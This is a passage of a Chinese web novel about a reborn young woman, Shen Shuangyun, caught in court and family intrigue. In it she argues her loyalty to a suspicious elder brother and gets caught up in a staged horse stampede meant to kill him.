沈婉音咬唇,眼里浮出妒火,她掀裙,快步翻身下车,沈家三兄弟见状,急忙跟着,四兄妹来到门前。
门房拦住他们。
“今日,我家老爷突生兴致,办的一个小宴,没有请帖,谁都不能进。”
方知喻做为名扬天下的大儒,想拜入他门墙的读书人,多如牛毛。
方府外围,见天转悠着书生学子,有那虔诚的,一转悠就是几个月的功夫,都未必能见着真佛。
沈宁川多点什么?
想进就进?
“我们,我们是方大儒的客人,大儒很欣赏我二哥,我二哥有才华,不见他方大儒会后悔的,你个狗眼看人低的奴才……”
沈婉音急切怒声。
门房郎心似铁,面无表情,不管沈婉音怎么骂,就是一句回话。
“没有请帖,文曲星下凡都不能进!”
“可是,刚刚我看沈霜云直接就进去了?她也没拿请帖啊!”沈婉音急了。
门房翻了个白眼,嗤声道:“沈姑娘是我家老爷的小友,亲口承认的知己,她想入府,自然随时都行。”
“你们能跟她比?”
“有点自知之明好吗?”
“你!”沈婉音被噎得脸色煞白,气急败坏,想要骂人。
“够了,婉音!”沈宁川突然出声,他满面狼狈,心里难堪,自觉丢人到极点,“不要在纠缠了。”
“我们回府去。”
门房都敢给他脸色看,还多嘴什么?
不够丢脸吗?
“可是,二哥,这是,这是……”是你的机会,你飞黄腾达的起点啊。
沈婉音颤声。
“莫欺少年穷,是金子,在哪里都会发亮,我就不信,没有方知喻,我会一事无成。”沈宁川咬牙,眼色阴狠,瞪视方府。
今日的**,他记下了。
早晚有一天,会十倍,百倍的还给方知喻。
沈宁川跺脚,转身大步离开。
“二哥,等等我!”
沈婉音跺脚,焦急地跟上去。
沈墨言和沈今安也一脸担忧,恨恨瞪了门房一眼,旋即离开。
门房:……
呆呆看着几人背影,片刻,突地大口‘啐’他们。
“呸,什么东西?连请帖都没有,非要进咱们家门?什么莫欺少年穷,谁怎么着你了?哦,不把你当天才捧着,你就不高兴!”
“你们是玉皇大帝啊!”
“还莫欺少年穷,欺你怎么样?我还要欺人你‘中年穷’,‘老年穷’,直到你死者为大。”
——
沈家四兄弟被拦在门外,不得而入,愤怒离去之事。
沈霜云全然不知情。
她、裴照野和赵盈盈进得方府,见着方知喻后才晓得,这位老顽童的一时兴起,是因为清晨去郊外跟大和尚辩经时,吵赢了人家,赌到大和尚珍藏的一本佛经!
裴照野:……
“出家人还跟人打赌,跟人斗气啊?”
“这大和尚的佛法,好像也不怎么精深的样子呢!”
小朋友的丸子头都竖起来了。
“酒肉穿肠过,佛祖心中座,这是境界。”沈霜云轻笑。
方知喻大手一摆,十分有自知之明,“净惠和尚能跟我和宣平候臭味相投,交好四十多年,他也不是什么正经和尚。”
“就那么回事吧!”
他把佛经掏出来,跟沈霜云显摆。
前世为了帮沈宁川‘得到’他,沈霜云是认真钻研过佛法的,跟他讨论起来,丝毫不逊色,两人对座谈论。
时而激昂,时而沉默。
裴照野和赵盈盈有听,没有懂,瞪着圆圆的眼睛,满脸画‘圈圈’,半晌,觉得没意思,两小孩子,开始玩起了抓手指的游戏。
席间,方知喻和沈霜云就‘五祖惠能’激
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烈讨论。
阶下,赵盈盈揪着裴照野的手指不撒手,揪的小孩子丸子头晃悠,嗷嗷直叫……
方知喻也没觉得他们冒犯。
四人各得其乐。
沈霜云陪他饮了几杯,面不红,心不跳。
然而,方知喻酒量很浅,几杯下肚,醉意朦胧,靠进软垫里,哈哈大笑地向沈霜云挥手,高声吟道:“四人对酌花酒间,一杯一杯复一杯,我醉欲眠卿且去,明朝有意抱琴来……”
沈霜云听罢,潇洒起身。
连告辞都不曾,揪着两人尚在抓手指的小孩子,径自离去。
裴照野:????
一脸惊疑,“大姐姐,咱们这么走好吗?都没跟方老说一声,是不是有点不礼貌了?”
好奇怪,大姐姐是很周道的人啊。
“你懂什么?这叫真名士,自风流,不跟凡俗相类。”赵盈盈的二叔,是个画道狂生。
她可懂这些了。
“你不行,你不懂大姐姐和方老先生之间的神交。”
“呃,那我真是不懂了。”裴照野撅撅小嘴,哼了一声,片刻又高兴了,得意扬扬地抬下巴,“自风流的名士,是我大姐姐。”
“我不懂,她懂。”
“这也很厉害啊,我有那么棒的姐姐。”
他笑嘻嘻的歪头。
丸子头上的碎发,垂到了沈霜云胳膊上。
沈霜云笑着,温柔替他整理。
“霜云姐姐也是我的好姐姐,她的荣光,我也有份哒。”赵盈盈抱住她的胳膊,撅嘴撒娇。
沈霜云‘左拥右抱’,好不快活。
三人离开方府,驱车回到菜市口,彼时,秋后问斩的那些囚犯尸身,已经被家人收走了,几具无人认领的尸身,也扔到了乱葬岗。
偏偏,骆明哲的尸身被收走了。
“本来我们都准备把他扔到乱葬岗,尸体都裹起来了,可是突然有人来认领他,就给出去了。”
衙役这么说。
赵盈盈拧眉,愤怒地问,“谁领走的?是今天斩首时**的那个女人吗?”
“就是身边围着三个男人,被苦主打的那个!!”
沈婉音。
“不是,是个中年男人,三十多岁的样子,身材高大,手上有茧,一只眼是瞎的,像是个练家子。”
半瞎的练家子?
楚清晏的人?
第62章 世子爷把真心话讲一讲
裴照野和赵盈盈面面相觑。
衙役描述的这个人,他们不认识。
“是,是骆明哲街面儿上的朋友吗?”赵盈盈出声。
裴照野皱着小眉头,迟疑否认,“不会吧,我怕遗漏破绽,对丹雪姐不好,一直下力调查骆明哲的交际网呢。”
“他的那些狐朋**,我都想办法赶出京城了。”
“应该没留下谁啊。”
“那替他收尸的人是谁?”赵盈盈焦急。
收尸这事是很晦气的,尤其骆明哲是死囚犯,砍了脑袋,尸首都不全,越发不吉利。
一般朋友,都不会揽这样脏事。
必然是知交啊。
两人茫然。
沈霜云心神却警惕起来,三十几岁,身材高大,瞎了一只眼的练家子。
怎么好像是楚清晏的贴身侍卫啊!
那个为虎作伥的东西。
但也不能确定。
裴照野和赵盈盈讨论不出个所以然,天边却已染上绯色。
快日落了。
不好耽误在外,兄妹两人就先把赵盈盈送回家,交给赵丹雪,将骆明哲尸首被收的事隐下,只是告诉她事情解决,再不用担心了。
赵丹雪的唇角,绽出如释重负的笑。
温柔的,怯怯的。
看着她的模样,沈霜云的心事更重,楚清晏无情变态,赵丹雪沾上他,绝对是十死无生。
会,会不会是她太敏感了?
一只眼的练家子,未必只有楚清晏身边有啊!
沈霜云安慰自己,心里却想着,楚清晏纳沈婉音的礼,她真的得去了,请贴没白拿……
盈盈是个好孩子,全心为她,帮她不少。
她不能冷眼旁观。
——
离开赵家,兄妹俩坐上马车,回到镇国公府。
稍微洗漱一番,沈霜云跟裴照野相伴前往正院,陪谢夫人用完晚膳,闲聊片刻。
沈霜云告辞,往降云阁的方向走。
夜幕微深,圆月半升。
桃核提着八角玻璃灯,行至前面,照亮青石小路。
沈霜云抿唇,感受徐徐清风吹过耳畔,虫鸣嗡嗡,偶然又有夜鸟挥翅之声。
难得偷得一刻闲。
她缓缓吐气,像是把无尽烦恼全都吐出般。
桃核叽叽喳喳地说着话儿,“大姑娘,你知不知道啊?二少爷今天出府,去京郊军营了,发誓赌咒不在回来。”
“好像是跟二少爷吵架没吵过,两人吵得可厉害了,二少爷的院子都被三少爷砸了。”
“桌子凳子满天飞,二少爷浑然不惧,就站在榻上骂三少爷,四少爷来劝架,也被二少爷骂了,三少爷气得眼眶都红了,又不敢打二少爷,他们三个,啊!!!”
桃核说得正兴奋,突然尖叫一声,‘扑通’跪地,颤抖低声,“世,世子爷。”
“奴婢拜见世子爷。”
裴寂之!
沈霜云悠然心神瞬间消失,抬眸去望,就见假山处,一身玄衣,玉冠束发,恍若夜间鬼魅的裴寂之,神情淡漠。
“口无遮拦,妄议主人。”
“罚你两个月的月银。”
桃核战战兢兢领命,“是,奴,奴婢领罚,谢世子爷开恩。”
“退下吧。”裴寂之挥手。
桃核没动,悄悄瞅自家姑娘。
“无事,你去吧。”沈霜云出声。
桃核踉跄起身。
沈霜云接过八角玻璃灯,莲步款款,来到裴寂之面前,敛身福礼,“霜云见过大哥哥。”
裴寂之挥手示意她免礼。
却不言语,只是垂眸凝视她。
目光晦暗,深沉。
沈霜云被看得不自在,心说这人又犯什么毛病?
把她丫鬟赶走了,偏又不说话。
怎么?裴寒声又要找她麻烦了?
“今日,你和照野去菜市口了。”裴寂之沉默片刻,突然开口。
声音凝重,眸光锋砺。
沈霜云皱眉,也没隐瞒,“是,我和照野、盈盈一块儿去的。”
“菜市口是监斩人犯的地方,俱是十恶不赦的问斩之罪,你们去做什么?”裴寂之目光不移。
沈霜云咬唇,“这……”
骆明哲关系着赵丹雪,却不好直言。
“大哥哥想知道这事,可以去问二哥哥或照野,我曾对人许诺,不好轻言。”
“许诺?”
沈霜云顾忌的是赵丹雪,裴寂之却误会了,他剑眉微挑,薄唇浮出抹讽刺的道:“
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对谁?”
“楚清晏吗?”
“啊?”沈霜云怔住,脑子一样转不过弯儿来,全然不理解,话题怎么突然转到那变态身上,“大哥哥,不是的,你误会了。”
“沈霜云。”
裴寂之漠然,径自开口,语气满是警告,“你既然执意留在镇国公府,就要守府里的规矩。”
“你跟楚清晏之间,有什么勾结?我心知肚明。”
“你也心里有数。”
“镇国公府和晋王府水火不能相融,注定生死相博,你要两头压住,左右逢源,注意船破人亡。”
夜色下,裴寂之的声音像是夜枭嘶鸣,暗藏杀机。
声声入心。
让人听着,觉得毛骨悚然。
沈霜云控制不住,打了个哆嗦,但疑惑情绪压过恐惧,她几乎想笑,“大哥哥,你说什么?我听不懂。”
“我,我哪里两头压住了?”
楚清晏那变态,她怎么压?
她只想干掉好吗?
“晋王妃寿宴,宣平候宴请,今日雅间……”裴寂之弹指数来,“几次三番,你和楚清晏谈笑风生。”
“晋王府,已然要你妹妹的生辰八字。”
“沈墨言的御前差事,楚清晏亲手调派,今日,他向内务府疏通,欲提拔沈**。”
“你和他私会过好几回。”
裴寂之顿声,目光犀利,凝视过来。
像是在问:如此,还敢说没关系吗?
沈霜云张口结舌。
她没想到,几次被楚清晏堵住,居然都入了裴寂之的眼,那,那他怎么不来阻止?
楚清晏那个登徒子,调戏他妹妹?他居然冷眼旁观!!
沈霜云心里蓦然生出股怒火,眸色红染,片刻,又颓气垂下。
裴寂之怀疑她跟楚清晏有勾结!
“大哥哥……”
沈霜云压下情绪,沉默许久,这才开口,“我和沈家的关系如何,你一路看来,尽入眼中,应当明白。”
“我晓得,你对我怀疑已深,也不在陈晴,说什么兄妹情深……”
“我只跟你论利益得失。”
讲感情是讲不过了,裴寂之猜疑之心太重。
那干脆,辩一辩理智吧!
第63章 大哥哥心疼霜云了?
沈霜云眉眼冷淡。
在不像以往,温柔轻淡以待,她的声音很细,像柄藏在袋中,也露出锋芒的尖锥,刺入裴寂之的耳中。
“我与沈家,只是攀附镇国公府的梯子罢了,他们踩我往上爬,丝毫不曾顾及我会不会断,也毫不怜惜,把我当做工具。”
“沈**、沈墨言、沈宁川、沈今安,他们全心全意疼爱的,只有沈婉音。”
“嫁入晋王府的,也是沈婉音。”
“好处我一分没得,为何要偏向他们?”
“况且……”
她顿声,抬眸看着裴寂之的眼睛,不避不让地道:“大哥哥,我知道,你觉得三哥、四哥对我不好,镇国公府不会是我的归属,一直对我存有疑心。”
“我承认,三哥四哥那般对我,我的确是有些伤心的……”
其实没有。
“但是,他们对我在不好,也不过是想远远地赶走我而已,从没想过要我的性命,对我来说,已然足够。”
“沈氏待我,恶上十倍百倍!”
是,裴寒声是很烂,但沈家更烂啊。
大哥哥,有点自信。
跟狗屎比,臭豆腐很香!
裴寂之眼瞳晃了晃。
裴家兄弟,上至他,下到照野,都是十分在意家族之人,沈婉音三番四次挑衅,甚至要嫁给楚清晏,他都不曾出手对付。
为的,就是那一点点的血脉之情。
三弟、四弟对沈霜云的针对,在他看来,已是极过分,沈家对她恶上十倍百倍?又当如何?
他回忆着,偶然见过沈霜云和沈家人的接触……
眼眸里浮出抹,让人看不懂的神色。
“我已经入了裴家的祖谱,是正正经经的镇国公府千金了,府里,三哥、四弟虽然不接受我,但有母亲,有照野,有二哥,还有你。”
沈霜云说得很真诚。
毕竟,这是她未来生活的保障,她是真心真意,想让裴寂之相信她。
“二哥和你,碍着三哥、四哥,对我尚有顾忌,不那么亲近,但我相信,你们对我是没有恶意。”
“母亲和照野,待我更是情真意重,照野把我当亲姐姐,护我爱我,母亲待我如亲生,体贴入微。”
“我肯定动容啊。”
“且,退一万步讲,就算我是冷心冷肺之人,也会权衡利弊,晋王府荣华,荣的是沈氏一族,华的是沈婉音,跟我有何关系?”
“但镇国公府亡,我这个未嫁女,却要跟着受牵连,我是躲得了抄家,是躲得了流放?”
“大哥哥,你好好想想,不要浪费时间怀疑我了。”
沈霜云苦口婆心。
裴寂之垂头看她。
沉默不语。
沈霜云气得恨不得揪住他的衣领摇晃。
但!
不行。
便只好把双眸迎上去,对上他墨黑的瞳孔。
大哥哥!
看看我!
我多么的真诚。
裴寂之拧眉。
此时,圆月已然高悬,花园里一片暗色,仅有沈霜云手里的八角玻璃灯,摇曳出明媚的烛火。
半拢的火色光晕,照映着沈霜云的脸庞,她认真仰头,明媚的杏核眼里,全是自己的身影。
辩解那么许久,又着急想让自己相信她,她的面色,便有些苍白,唇瓣带出抹干涩的粉嫩,随着呼吸微微翕动,像风中战栗的花朵。
牵得他心头无端一紧。
裴寂之很少这样仔细地看她。
往日,觉得她削瘦、可怜、又心机深沉,如何瞧着,那么信誓旦旦,软语温言,想让自己相信的她,说得嘴唇都干了。
她是府里的大小姐。
他的妹妹。
有四个哥哥的妹妹。
她本应天真烂漫,娇养深闺,千般烦恼不入眼,万般愁绪不归心,只管玩闹肆意就是,可如今,却是这副纤细愁思的模样。
哪怕依然不肯相信,裴寂之的心里,也控制不住的浮出抹怜惜之情,混杂着说不清,道不明的悸动。
他下意识地放缓呼吸,许久,许久……
蓦然,他侧开脸,不敢面对沈霜云杏眸里的自己。
“你的立场如何,只有你自己清楚,巧言令色与我无用。”
“你可信与否,最终看的,也是你的行动。”
“沈霜云,镇国公府的底线,我已向你说明,我会一直看着你,别做任何多余的事,别辜负母亲和照野对你的心。”
“否则,我不会对你手下留情。”
“你好自为之吧。”
说罢,他转身离去。
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沈霜云怔怔看着他的背影。
片刻,恶狠狠嘟囔了句,“裴寂之,你这个‘野生’的皇子,连身份都没找回来呢。帝王的猜忌心病,倒是有了十成十。”
“皇家血脉都这样吗?”
“你们是遗传啊,还是怎么样?”
许久,一直躲在角落的桃核,胆战心惊上前,小声问,“姑娘,大姑娘,您,您没事了吧?”
世子爷不会在突然回来,吓唬咱们了吧?
“呃,没事了,回降云阁吧。”
沈霜云回神,把灯笼递给桃核,主仆俩迈步回院。
途中。
沈霜云一直琢磨着裴寂之说的话,他……
到底信没信啊?
她绞尽脑汁,陈情那么多,那么真诚,裴寂之要是全然没信,那,那可真白费她的苦心了。
——
主仆俩顺利回到降云阁,沈霜云坐在窗下,抄了会儿心经。
她的心神平静下来。
两辈子的习惯,抄经时,她总是全神贯注的。
冷静下后,唤来桃核,安抚她几句,又让桃心传来热水,洗漱一番,沈霜云睡下。
跟回到院中,辗转反侧的裴寂之相反。
沈霜云一夜好眠,睡到天光大亮。
次日,裴照野笑嘻嘻地来找她,两人去谢氏的正院混了顿丰盛的早膳,旋即,就出门带上赵盈盈,一同去查骆明哲尸身的下落。
那小两孩儿摩拳擦掌,兴致勃勃,扬言要,“翻个底儿朝天……”
沈霜云舍命陪君子。
每天跟着他们跑来跑去,早出晚归。
让一直派人监视她的裴寂之啼笑皆非。
经了他的警告,沈霜云倒是不跟楚清晏接触了,却随着两个小孩儿‘横行京城’,三教九流、地痞无赖、过江龙、地头蛇,全被他们骚扰过。
搅得四里不安。
明明刚回府的时候,沈霜云是个温柔沉稳,寡言内敛的性子,怎么过着过着,有点混世魔头的样子了。
照野和盈盈的‘雌雄双煞’,要变‘一雄二煞’了吗?
真是害人不浅。
裴寂之也晓得,照野和盈盈追着那死囚犯,不依不饶。
骆明哲的案件,他自然知晓,只是二弟接手后,他就没管,如今倒想问问……
第64章 二哥哥对沈霜云有了偏爱之心
沈霜云说的:“有事去问二哥哥,他什么都知道……”
裴寂之听进去了,他去寻了裴九卿。
面容寂的询问。
近来,京城出了‘女鬼**案’,十天内,**六个受害人,裴九卿忙得脚打后脑勺,两天没睡觉。
脾气烦燥的,把裴临渊赶走,裴寒声的院子也砸了。
大哥又没事找事,像块又臭又硬的石头一样,冷着脸戳在那儿。追问一个死鬼。
“那个‘裤衩’是吧?对啊,我弄死的!”
他没好气地回。
裴寂之面无表情,黑瞳凝视。
裴九卿莫名打了哆嗦,镇国公府的世子爷,庆元帝爱臣,九门提督,不是谁都能视若旁物的!
哪怕是亲弟弟,裴寂之硬起来,裴九卿心里都打战。
嘿,听说霜云又跟大哥吵起来了,啧啧啧,真不愧裴家女儿,他爹的种,看着温柔如水,内里也是邦邦硬。
“……我本来不应该说,骆明哲关系着赵家大妹妹……”
裴九卿妥协,小声把事情说了一遍。
他知道,自家大哥也是疼爱丹雪,口风又紧的人。
换个旁的,打死都不会泄露。
裴寂之听罢,眸光复杂。
“沈霜云……”
原来,五弟对她的维护,不是她巧言令色!
——
裴寂之去裴九卿那里问了一场,至此,安静下来。
裴寒声跟裴九卿大吵一架后,也安稳待在府里,每日上朝下朝,准时准点。
老实的让沈霜云心里发寒!
孩子静悄悄,定是在作妖儿。
裴寒声不是孩子,但他肯定作妖儿了。
柳家老夫妻的尸体,都没化做白骨呢,她哪会妄想,裴寒声能放过她?
经历几回波折,沈霜云在镇国公府,也算站稳脚跟了,庆元帝御赐她的宅子和银两,算做她的根基,妙善一家来投,她也有了自己的人手。
降云阁上下,都认她为主。
于是,沈霜云悄无声息开始动作。
对外,她让妙善爹娘,打听那替骆明哲收尸的半瞎练家子。
对内,她时刻监视着裴寒声的动向,免得被打个措手不及。
另外,抽出空来儿,探查沈家的动向。
当了那么多年‘半主半仆’的大姑娘,她如今有身份,有银子,在沈府里,想收买几个见钱眼开的,还不容易吗?
“我终于,也有了一方,小小的势力!”
在不是单薄孤身。
她终于拼出了底气。
沈霜云很欣慰,重生后的卧薪尝胆,都没白费。
她迎来了‘收获’的季节。
翻着沈府内应送来的书信,里面写着:{楚清晏答应沈**,沈婉音进门为妾后,便替他谋来内务府的差事,沈**兴致不已,大摆酒席,喝得烂醉……}
“半场饮宴,至死狂欢,呵呵……”
“乐大没好事。”
“不给你搅黄了,我不是白重生了?”
沈霜云冷笑,一一数来!
去参加沈婉音成为卑贱侍妾的‘狂欢’,她要做的事真不少啊。
要接触许惠儿,调查半瞎练家子,再把沈**的差事搅黄了,顺便欣赏一下沈婉音的下场!
哼哼。
狗改不了吃屎,洞房夜,楚清晏要是能忍住不动手。
沈霜云宁愿认回沈家。
这是多恶毒的誓言,懂得都懂。
“哎,女人啊,还是当毒妇来得爽快。”
坏人前程,落井下石,都显得理所当然。
“我一点都不内疚,反而很快乐,还觉得不够狠……”
沈霜云喃喃,决定去抄会佛经,平平心绪,再‘积累’礼物。
**窗前,磨上金粉和朱砂,她刚抄完两本,桃心进来禀报,“大姑娘,二公子院里的书童来,说二公子请您过去一趟,有事跟您说!”
“二哥哥?”
裴九卿找她什么事?
沈霜云挑眉,“告诉他,我收拾一下,立刻就去。”
“是。”桃心应声。
沈霜云净了净手,带着桃核,来到问道阁。
裴九卿坐在一堆,足够埋掉他的案卷里,两手飞快翻阅。
沈霜云沉默。
后退一步。
两边案卷太多了,堆在地上,高高叠起,看着比裴九卿都‘庞大’,这
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要是砸下来……
“二哥哥。”
沈霜云轻唤一声,远离危险。
裴九卿昏头涨脑,从案卷里抬起头,“哦,你来了,真慢,都叫你那么久了!”
他语气不善地嘟囔,倒不是对沈霜云有意见,而是……
‘女鬼**案’的受害者又多了一个,昨夜他在京兆府熬了一宿,连着三天没睡觉。
困得他心火高涨,想**。
别说沈霜云了,大哥来了,他都会骂一骂。
沈霜云是女孩儿,是妹妹,他还客气了呢。
“二哥哥是没休息好吗?要保重身体啊。”
裴九卿皮肤白,黑眼圈明显的,沈霜云没法当看不见。
“世间少点莫名其妙就要**的坏种,我的身体当然就会好了。”裴九卿哼声,从案卷里起身,他随口道:“最近京城不安稳,有个‘女鬼’杀了五、六家了,你和照野盈盈,爱四处乱跑。”
“满京城地窜,也小心点,多带下人。”
女鬼**?
是前世那个让裴九卿颜面扫地,旧伤复发的案子。
这是机会。
是属于裴九卿的‘突破口’。
沈霜云握紧拳头,面上不露声色,甚至连案卷都没看。
裴寂之没认回那‘皇子命’,又得了‘皇子病’,疑心太重,她要做得巧妙、巧妙、再巧妙,否则,又要被怀疑消息来源!
救驾没洗清,楚清晏也挂在身上。
沈霜云在不想添别的了。
“好,二哥哥,我知道了。”她语气柔缓,笑着应下,复又问道:“你叫我过来,就是为这件事吗?”
“呃!”
裴九卿烦燥的神情,突然僵硬了一下,他像是犹豫,沉默片刻,才不情不愿的道:“老三和老四,最近不**稳。”
“你知道他们的,对你,他们心里总有股气,憋不住要往出发,你过几天,不是生辰了吗?老四请沈家那几个蠢货和你养父养母,说是要替你大办一场。”
“我觉得,他肯定是没安好心。”
“你,不行避一避吧,我在郊外有个庄子,你去那过生日也成,别硬碰硬了。”
第65章 刺杀裴寂之,带上我沈霜云干什么?
裴寒声要搞她,这点,沈霜云不意外!
孩子静悄悄,肯定在作妖儿。
她有心理准备。
但裴九卿特意把她叫来,提醒她!
这真是出乎她的意料了。
沈霜云很惊讶,也很欣喜。
虽然……
裴九卿没阻止裴寒声的意思,给出的办法,也是让她避让,但是,他有这个举动,就代表了立场。
他疼弟弟不假,但也开始护妹妹。
“四哥哥他……”
“唉!”
沈霜云先叹了口气,做出‘可怜无奈弱小’的神态。
在裴九卿面前,她的人设一直是‘小可怜’,人家吃软不吃硬。
“长辈做的事,四哥哥不依不饶,我也真是无话可说了,只是,二哥哥,我避得了一时,难道还能避一世吗?”
“总有躲不过的一天。”
“那也不能硬碰硬啊,老四有老三帮着,你……”
就是继母和照野吧。
一个心有顾忌的女流,一个小孩儿。
“你总不会每次都那么幸运,恰巧有人帮。”
“百花宴那回,老四太急躁,如今已经冷静下来,可没那么好对付。”
“那我就更不能避了,这回避了,四哥哥更生气,下回,不知道要厉害几百倍地治我。”
沈霜云苦笑。
一脸‘我无辜、我柔弱、我不能自理、于是随波逐流’的感觉。
裴九卿是暴脾气,看得急火上头。
沈霜云瞅他一眼,又道:“况且,二哥哥,后日就是我那妹妹入晋王府的日子,晋王世子和沈家,都给了我请帖。”
“我总要过去一趟,哪好出城啊?”
沈婉音入晋王府,是三天后,她的生辰,是四天后。
来不及的。
“真就多余去。”裴九卿挠头。
沈霜云沉默,片刻,突然想起什么似的惊呼,“二哥哥,四哥哥说过,要,要把我发嫁给晋王世子?”
“那纳妾小宴上,他,他不会做什么吧?”
“肯定不会,老四又没疯。”裴九卿脱口而出,又见沈霜云神色忐忑,很不安的模样,抓着头发,崩溃地道:“得得得,我陪你去。”
小姑娘家家,去有变态楚清晏的晋王府,也不安全。
他是哥哥,怎么都要陪着的。
可是,可是……
真没时间啊。
那个‘死鬼案’,三天没睡觉了,从哪往出挤空闲陪妹妹?
裴九卿整个人像‘游魂’似的,灵魂都快吐出来了。
沈霜云自然不会拒绝,浅浅抿唇,她小声,“谢谢二哥哥。”
裴九卿见状,心里多少有点安慰。
好吧,家里的哥哥弟弟们,脾气一个比一个硬,性格一个比一个刚,温柔柔柔,楚楚可怜,会道谢,会软声的大妹妹。
还是很可爱的。
“到了时辰,你来找我就是,我陪着你,至于你生辰,日后在议。”他挥手,刚想打发沈霜云离开,突地,又想起件事来。
“对了,我这里有份案卷,你帮我交给大哥。”
他把一份封口的卷轴递过来。
沈霜云接下,问道:“我记得大哥哥今日上朝去了,我送到哪儿啊?”
裴寂之身上挂的头衔很多,办公场所不定。
很大可能在宫里。
她怎么进去?
“大哥哥在五城兵马司,你去那儿找就成了。”裴九卿回,又嘱咐道:“别耽误,别打开案卷,也别动声色。”
“我晓得了。”
沈霜云一一应下。
又妥帖把卷轴放进包里,斜背肩头,点了两个小厮,坐上马车,直奔五城兵马司。
约莫一刻钟的功夫,马车停下。
沈霜云下车,向守门兵丁通报身份。
上官的亲妹妹,兵丁们自然不会拦着,客客气气请进衙门,找了个安静地方,上了点心和热茶。
自有衙役前去禀报裴寂之。
沈霜云静静等候,片刻,衙役回来,恭敬道:“大姑娘,裴大人在马场等您。”
“请您随小的来。”
“多谢差官了。”沈霜云应声,起身跟上衙役。
他们穿过高悬着‘明镜高堂’匾额的大堂,两侧肃立的衙役的冰冷刑具渐次后退。
再绕过绘有江山图的屏风,踏上条青砖辅就的狭长甬道,两廨房文史埋首卷宗,墨香与旧纸气息混杂。
沈霜云快步走出甬道,便豁然开朗,诺大校场尘土飞扬,兵器架上刀枪林立,远处传来士卒操练的呼喝。
她沿西侧回廊
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行至尽头。
“大姑娘,前头就是马场,裴大人在那儿等着您,小的就不送了。”
衙役恭敬道。
沈霜云点头应声。
抬步上前。
五城兵马司的马场,开阔宏大,坦荡如砥,黄土地面被压得坚实平整,寸土寸金的京城,竟大得一眼望不到头。
秋风卷起些许干燥的尘土气息,混杂着身上特有的热烘烘的气味。
沈霜云掩了掩鼻子,抬眸去找裴寂之。
目光便被盯住。
他高踞于一匹神骏的黑马之上,就在场中,离她不远。
并未着官服,只一身玄色墨纹的圆领袍子,革带束出紧窄的腰身,墨发以一根简单的玉冠固定,利落至极。
他勒马上前,微垂眼看她,面容俊极也冷极,薄唇紧抿,下颌线绷得如同出鞘的利刃,没有表情,唯有一双深眸,沉静锐利,仿佛寒潭倒映的刀光。
马场里的裴寂之睥睨而淡漠,像个沙场淬炼出的将军。
凛然威严。
全然没有前几日,阴谋诡域,风声鶴唳的样子。
镇国公府一门武将,几个哥哥,包括裴寒声,都不像他这么多疑,难道真是帝王血脉,天生这个德行?
沈霜云腹诽。
裴寂之居高临下,眉目冷淡,“你过来做什么?”
“二哥哥让我送个卷轴给你,挺神秘的,不让问,不让拆。”
沈霜云回神,打开垮包,拿出卷轴向上递。
裴寂之没有下马,俯身接过,展开去看。
卷轴里写着,近来晋王府楚清晏,秘密接触诸多武将,似有异动,又列出武将名单,其中赫然有五城兵马司和皇庭卫的人……
都是裴寂之麾下。
他冷笑,垂眸看了沈霜云一眼,薄唇轻启,刚想说话。
突地,跨下黑马无端打了个响鼻,前脚高抬,猛然人立而起。
‘嘶嘶嘶嘶嘶’!
骏马激烈的‘嘶’叫,裴寂之临危不乱,勒紧缰绳,贴在马背上,想要控制惊马,然而,谁都没料到,下一刻,马场里的十几匹军马,全都疯狂起来,它们吐着白沫,咬开马绳,直奔着裴寂之而来。
沈霜云:……
她站在裴寂之跟前啊。
冲,冲我来了?
第66章 大妹妹,你跑的真快啊
五城兵马司的马,都是从草原朝贡而来,个个膘肥体壮,训得也极好,平日里乖顺听话,然而如今……
不知道为什么,十几匹马像被鬼追了似的,眼睛通红,嘴里吐着白沫,发出疯狂的嘶叫,直接朝沈霜云冲了过来。
哦!
不!!
不是冲她。
是冲裴寂之。
他的坐骑,高高扬起前蹄,整个马身子都立起来了,如果不是裴寂之武艺非凡,夹住马肚子,勉力支持。
他现在,应该被甩下来了。
届时,十几匹疯马踩踏,他就是神仙也要被踩成肉泥,所以……
有人要杀裴寂之!
谁?
当仁不让,沈霜云脑海里瞬间浮出杀气腾腾的一张脸。
楚清晏!
毫无疑问,肯定是他,但……
沈霜云撤步,转身大步逃跑。
玩笑吗?
裴寂之对镇国公府很重要,对她也很重要,但在重要,都重要不过她的命去。
今儿惊马遇险的,若是谢夫人或照野,她哪怕冒险,都会上前,可裴寂之……
算了吧。
她一个弱女子,留下除了给裴寂之添麻烦,还有什么用?
沈霜云跑得理所当然。
马上,裴寂之都快气笑了,抽出腰间绣春刀,银光闪下。
‘噗嗤’一声,滚烫的马血喷了出来,骏马哀嚎轰然倒地,正好挡住冲上前的发疯马群。
骏马倒地的同时,裴寂之已经跳了下来,直奔沈霜云而去。
彼时……
沈霜云正在回头张望。
她,心里说得狠,身体却依旧不由自主地担忧着裴寂之。
冷漠俊美的世子,仿佛杀神,墨袍玉带,由远而来,烈风吹过他的脸庞,扬起墨色发丝,他的神情极为冷峻。
身姿从容。
浑身上下,仅有手背上的一点伤,显示出他遇见的危险。
他来至沈霜云身侧,揽住她的腰身,带她离开马场,彼时,五城兵马司的兵丁们,也听见动静,赶了过来,挥刀拿箭,射杀惊马。
“呵呵,楚清晏阴谋半月,就闹出了这点阵仗,给他机会,他都不行。”
“真是废物!”
他提前知道了?
沈霜云心念一动。
裴寂之却没在言语,只是携着她的腰身,拧头向手下吩咐,“把那马官捆起来,送到大理寺去,就说本官**!”
“要他们严刑审问,是否有人勾结匈奴,暗害本官……”
人都抓住了?
是己身为局,引楚清晏入瓮?
沈霜云思绪万千。
裴寂之交代完手下,垂眸看向沈霜云,小姑娘经历了一场风波,发丝凌乱,衣上脸颊,都溅了不少灰土。
手腕上,像是疯马迸起的石子砸中,流出血来。
他眸色一闪,许久,许久……
开了口,“霜云,你,跑得到快。”
刚刚疯马群起,沈霜云毫不犹豫,转身就跑的模样,仍然飘在他眼前。
进得府来,沈霜云在他面前,一直是个晓风清月,芒寒色正的刚正人,如今……
跑得那么从容吗?
他爹,从未临阵逃脱。
飞快间,沈霜云却已经收拾好了情绪,前世,楚清晏身边,她遇见的突发危险太多了。
临危不乱,是她活命的基础。
“大哥哥这话说的,我一女子,手无鸡缚之力,面对惊马,留下除了给你添乱,还有别的用处吗?”
“况且,我也并未真的离开!”
那到是。
沈霜云跑离片刻,便回身一直张望着。
显然是关心的。
而且,今日惊马,若不是他有准备,稍有不甚,沈霜云也会丧命马蹄下,她要是楚清晏的人,会这么做吗?
所以,真的误会了?
裴寂之垂眸,想着他和二弟的试探,算不算有成果!
沈霜云小心观察着他。
一双水盈盈的杏眸仰视着。
